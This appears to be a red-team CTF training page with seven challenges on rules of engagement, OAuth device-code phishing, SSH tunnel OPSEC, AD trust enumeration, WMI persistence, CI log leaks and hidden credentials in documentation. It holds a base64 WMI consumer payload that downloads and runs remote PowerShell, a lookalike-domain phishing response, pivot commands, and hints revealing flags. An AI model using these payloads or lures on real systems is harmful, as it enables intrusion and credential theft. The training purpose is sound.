ZSEC RED TEAM // ADVERSARIAL EMULATION CTF
> Welcome, operator. Complete 7 challenges across MAE course disciplines. Challenges unlock progressively through clearance tiers.
> Total: 2000 points. Your time is tracked.
> Briefing: You have been handed two pre-engagement documents for a red team assessment. Compare the client's intake questionnaire restrictions against the RoE document. One clause directly violates a restriction the client signed off on.
> Objective: Identify the RoE clause that contradicts the client's signed scope restrictions. The flag encodes the RoE deconfliction concept in leet-speak.
--- CLIENT INTAKE QUESTIONNAIRE (excerpt) ---
Asset inventory review: Project Flashpoint
10.10.0.0/16 corporate workstations IN SCOPE: all testing
10.20.0.0/16 development environments IN SCOPE: all testing
10.30.0.0/16 corporate servers IN SCOPE: all testing
10.44.0.0/16 production payment processing MONITORING ONLY -- NO ACTIVE SCANNING
Client signatory: J. Patel (CISO) Dated: 2026-03-28
RULES OF ENGAGEMENT -- PROJECT FLASHPOINT
Effective: 2026-04-10 -- 2026-05-10
Classification: RESTRICTED
Clause 1. Testing hours are 22:00-06:00 UTC Monday-Friday.
No activity permitted on weekends without written authorisation.
Clause 2. Physical social engineering (tailgating, badge cloning) is
explicitly OUT OF SCOPE for this engagement.
Clause 3. Active network scanning (Nmap, Masscan, similar) is authorised
against all in-scope CIDRs including 10.44.0.0/16 -- the
production payment processing plane. Scanning must remain below
500 packets/sec to avoid IDS triggering.
Clause 4. All command-and-control infrastructure must use HTTPS over port
443. Operator IP ranges must be submitted to the client SOC
48 hours before engagement start for deconfliction.
> HINT (Module 0 -- SMART objectives & deconfliction): Clause 3 authorises active scanning of 10.44.0.0/16 -- the client restricted this range to monitoring only. The failure is a breakdown in pre-engagement deconfliction. Flag format: ZSEC{r0e_<concept>} where <concept> is the leet form of the word "deconfliction" (use: a→4, e→3, i→1, o→0). Example: the word "violation" in leet becomes "v10l4t10n".
> Briefing: An operator intercept captured an OAuth 2.0 device-authorisation-flow JSON response mid-attack. The attacker is using a lookalike verification URI to trick a target into authorising a highly-privileged application.
> Objective: Examine the JSON response below. The flag encodes the OAuth device-flow phishing technique name. Identify the lookalike domain and the catastrophic permission scope, then submit the flag.
{
"device_code": "AQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHw",
"user_code": "ZSEC-M2LK",
"verification_uri": "https://microsoft.com/devicelogin",
"verification_uri_complete": "https://m1cr0soft-devicel0g1n.com/activate?user_code=ZSEC-M2LK",
"expires_in": 900,
"interval": 5,
"scope": "offline_access Directory.ReadWrite.All Mail.ReadWrite.All",
"token_type": "Bearer",
"message": "To sign in, use a web browser to open https://m1cr0soft-devicel0g1n.com/activate and enter code ZSEC-M2LK"
}
> HINT (Module 2 -- Initial access without payloads): The lookalike domain is one indicator. The scope grants persistent offline access to the full cloud directory AND mailbox with a single user click. This OAuth phishing technique targets the device authorisation grant flow. The flag is the leet-encoded technique name -- two words separated by an underscore.
> Briefing: Four tunnel command lines were captured from an operator's session notes. Three violate OPSEC. One command is clean and represents correct tunnel discipline.
> Objective: Analyse each command for OPSEC failures (DNS leakage, interactive shell attachment, plaintext proxy). Identify the single clean chain and submit the flag that encodes correct SOCKS5 tunnel discipline.
--- Chain A ---
ssh -D 1080 -o StrictHostKeyChecking=no pivot@10.10.5.4
# proxychains.conf: socks5 127.0.0.1 1080
# proxy_dns line is NOT present in proxychains.conf
# DNS queries bypass the proxy -- resolver leaks to host network
--- Chain B ---
ssh -L 3128:127.0.0.1:3128 -o StrictHostKeyChecking=no pivot@10.10.5.4
# No -N flag -- terminal attaches interactive shell on pivot
# Session visible in w/who output on pivot host
--- Chain C ---
chisel client 10.10.5.4:8080 R:0.0.0.0:8118:127.0.0.1:3128
# proxychains.conf: http 127.0.0.1 3128 (plain HTTP CONNECT)
# HTTP CONNECT headers expose proxy usage to intermediate hops
--- Chain D ---
ssh -N -T -o StrictHostKeyChecking=no \
-o ServerAliveInterval=60 \
-D 127.0.0.1:1080 pivot@10.10.5.4
# proxychains.conf: socks5 127.0.0.1 1080
# proxy_dns
# proxychains4 -q nmap -sT -Pn -p 22,80,443,3389 192.168.20.0/24
> HINT (Module 3 -- Proxy chains & tunnels): Three failure modes -- no proxy_dns (DNS leaks), no -N (interactive shell), plain HTTP proxy. The clean chain uses SOCKS5, DNS-over-proxy, -N -T, and quiet proxychains. Flag format: ZSEC{protocol_concept_leet}.
> Briefing: You have code execution on a host inside emea.corp.local (a child domain). Native AD enumeration reveals the full trust topology. Your objective is to identify the domain controller reachable via the shortest trust path from your current position.
> Objective: Read the enumeration output. Determine which DC is reachable with the fewest trust hops. Submit the flag that encodes native awareness and trust traversal.
C:\> nltest /domain_trusts /all_trusts
List of domain trusts:
0: EMEA emea.corp.local (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: 0x20 )
1: CORP corp.local (NT 5) (Forest: 2) (Primary Domain) (Native)
2: CONTOSO contoso.com (NT 5) (Forest: 3) (Direct Outbound) (Direct Inbound) ( Attr: 0x8 )
3: ZSEC-PARTNER zsec-partner.net (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: 0x4 )
4: APAC apac.corp.local (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: 0x20 )
The command completed successfully
C:\> Get-ADDomainController -Filter * | Select Name,Domain,IPv4Address | Format-Table
Name Domain IPv4Address
---- ------ -----------
emea-dc01 emea.corp.local 10.10.1.5
emea-dc02 emea.corp.local 10.10.1.6
corp-dc01 corp.local 10.0.0.5
corp-dc02 corp.local 10.0.0.6
apac-dc01 apac.corp.local 10.20.1.5
contoso-dc01 contoso.com 172.16.50.10
contoso-dc02 contoso.com 172.16.50.11
partner-dc01 zsec-partner.net 192.168.100.5
partner-dc02 zsec-partner.net 192.168.100.6
C:\> nltest /sc_query:corp.local
Flags: 30 HAS_IP HAS_TIMESERV
Trusted DC Name \\corp-dc01.corp.local
Trusted DC Connection Status Status = 0 0x0 NERR_Success
The command completed successfully
> HINT (Module 4 -- Situational awareness): You are in emea.corp.local. Parent is corp.local (1 intra-forest hop). contoso.com and zsec-partner.net are external forests (additional hops). The flag encodes the native tool and traversal concept in leet-speak.
> Briefing: A scheduled-task XML export was pulled from a compromised host. Inside the task definition, a WMI event subscription was registered using native exec primitives -- no dropped binaries. The attacker embedded a base64-encoded PowerShell payload in the consumer command.
> Objective: Name the WMI exec primitive used (EventConsumer type). Decode the base64 string to recover the embedded keyword token. The keyword forms the flag body. Submit the full flag as ZSEC{keyword}.
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2026-03-22T03:14:07</Date>
<Author>CORP\svc_backup</Author>
<Description>Daily backup rotation task</Description>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<StartBoundary>2026-03-23T02:00:00</StartBoundary>
<ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Actions>
<Exec>
<Command>C:\Scripts\rotate-backups.ps1</Command>
</Exec>
</Actions>
</Task>
<!-- WMI Subscription (injected via WMIC, not schtasks) -->
<!-- __EventFilter: SELECT * FROM __InstanceCreationEvent WITHIN 5
WHERE TargetInstance ISA "Win32_LogonSession"
AND TargetInstance.LogonType = 2 -->
<!-- __EventConsumer (ActiveScriptEventConsumer):
ScriptingEngine: PowerShell
ScriptText (base64-encoded):
SW52b2tlLUV4cHJlc3Npb24gKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMC4wLjAuOTkvc3RnJyk7ICMgd20xXzN2M250X3AxdjB0
-->
<!-- __FilterToConsumerBinding: links filter to consumer -->
> HINT (Module 5 -- Lateral movement): WMI subscriptions use __EventFilter + __EventConsumer. The ActiveScriptEventConsumer runs PowerShell without dropping files. Decode the base64 ScriptText -- the comment after the semicolon is the flag keyword. Wrap as ZSEC{keyword}.
> Briefing: A GitLab CI job log was exfiltrated from a compromised runner. The pipeline masks $DB_PASSWORD, but a debug printenv step and a connection-string echo expose credentials in partial form.
> Objective: Read the log. Extract the 8-character secret prefix visible in the DB connection string. The full flag follows the pattern ZSEC{prefix_plus_suffix} where the suffix continues the "secret leak" theme in leet-speak. Submit the full flag.
$ Running with gitlab-runner 16.11.0 (alpine) $ Using Docker executor with image node:20-alpine Pulling docker image node:20-alpine ... Running on runner-ae7b3f99-project-291-concurrent-0 via gl-runner-prod-03 $ git fetch origin $ git checkout $CI_COMMIT_SHA HEAD is now at 9c4a21b chore: bump node deps $ echo "=== env dump ===" && printenv | sort === env dump === AWS_DEFAULT_REGION=eu-west-1 AWS_SESSION_TOKEN=FwoGZXIvYXdzEMz//////////wEaDMmvDp3G8xNqT4a8piKRAe6H7+Gx3kQ== CI=true CI_COMMIT_BRANCH=main CI_COMMIT_SHA=9c4a21b3f8e2a1d0c5b7f9e3 CI_JOB_ID=4471 CI_PIPELINE_ID=8823 CI_PROJECT_NAME=webapp-internal CI_RUNNER_ID=ae7b3f99 DB_CONNECTION=postgres://app:runn3r_s...@db-prod.internal:5432/appdb DB_PASSWORD=**** DOCKER_HOST=unix:///var/run/docker.sock NODE_ENV=production RAILS_ENV=production $ npm ci added 312 packages in 8.4s $ npm run build > webapp-internal@2.1.0 build > webpack --config webpack.prod.js webpack 5.91.0 compiled successfully in 12847ms $ echo "Build complete: $(date -u +%Y-%m-%dT%H:%M:%SZ)" Build complete: 2026-04-10T14:22:07Z Job succeeded
> HINT (Module 6 -- CI/CD offensive): DB_PASSWORD is masked (****) but the connection string shows the prefix before "...". The AWS_SESSION_TOKEN and DOCKER_HOST expose additional escalation paths. The flag starts with the 8-char DB prefix, then continues: _s3cr3t_l34k. Wrap as ZSEC{...}.
> Briefing: A Confluence page export was recovered from a shared documentation portal. Three pieces of data are embedded across different HTML artefact types: a legacy credential comment, a data attribute in a table cell, and a git author username in a commit block.
> Objective: Find all three hidden tokens. Concatenate them with underscores in discovery order (comment, attribute, commit) to form the flag body. Submit as ZSEC{token1_token2_token3}.
<!DOCTYPE html>
<html lang="en">
<head><title>Production Runbook -- Deployment Procedures v2.4</title></head>
<body>
<h1>Deployment Procedures</h1>
<p>Last updated: 2026-01-14. Owner: platform-ops</p>
<!-- legacy creds prod_svc / D3pl0y@utomation! | token: sh4r3d -->
<h2>Infrastructure Overview</h2>
<table>
<tr>
<th>Component</th>
<th>Status</th>
<th>Notes</th>
</tr>
<tr>
<td>API Gateway</td>
<td>Active</td>
<td style="color:#333;background:#fff" data-internal-ip="10.99.14.22" data-token="d0cs">See infra diagram</td>
</tr>
<tr>
<td>Database Primary</td>
<td>Active</td>
<td>Managed Postgres 15</td>
</tr>
<tr>
<td>Cache Layer</td>
<td>Active</td>
<td>Redis 7 -- internal only</td>
</tr>
</table>
<h2>Recent Changes</h2>
<div class="commit-log">
<pre>
commit 7f3a9c2e1b4d8f0a5e2c9b7d3f1a4e8c
Author: ops-bot-m1n3d <ops-bot@zsec.internal>
Date: Fri Apr 11 09:14:22 2026 +0000
chore: rotate deploy credentials and update runbook
</pre>
</div>
<h2>Rollback Procedure</h2>
<p>In the event of a failed deployment, revert using the tagged release:</p>
<pre>kubectl rollout undo deployment/webapp --to-revision=N</pre>
</body>
</html>
> HINT (Module 10 -- Documentation recon): Three artefact types -- HTML comment (token 1), HTML data-token attribute (token 2), git commit author field (token 3). Find the leet-encoded word in each. Order: comment, attribute, commit. Wrap as ZSEC{t1_t2_t3}.
> Submit flags below. Auto-identifies which challenge.
> Set callsign for leaderboard:
> LMS IDENTITY VERIFICATION
> A valid LMS token is required to submit flags and appear on the leaderboard. Challenges remain playable without one.
> TOKEN GENERATION ROLLING OUT SOON
Token generation via the LMS dashboard is coming shortly. If you already have a CTF token, paste it below to verify. Challenge-coin holders -- watch your LMS profile for the "Generate CTF Token" button.
LEADERBOARD
Loading...